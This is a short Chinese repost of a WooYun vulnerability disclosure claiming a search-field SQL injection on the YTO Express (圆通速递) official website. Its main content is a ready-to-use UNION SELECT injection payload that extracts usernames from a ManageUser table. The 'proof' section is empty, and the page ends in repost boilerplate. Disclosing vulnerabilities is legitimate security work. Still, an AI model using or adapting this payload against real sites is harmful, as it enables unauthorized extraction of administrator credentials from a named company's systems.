详细说明：兴义%' and 1=2 union all select null,null,null,username,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null from ManageUser;--
漏洞 证明：
摘自 猪头子@乌云
查看更多关于圆通速递官方网站存在搜索型注入及修复 - 网站的详细内容...
声明：本文来自网络，不代表【好得很程序员自学网】立场，转载请注明出处：http://haodehen.cn/did12734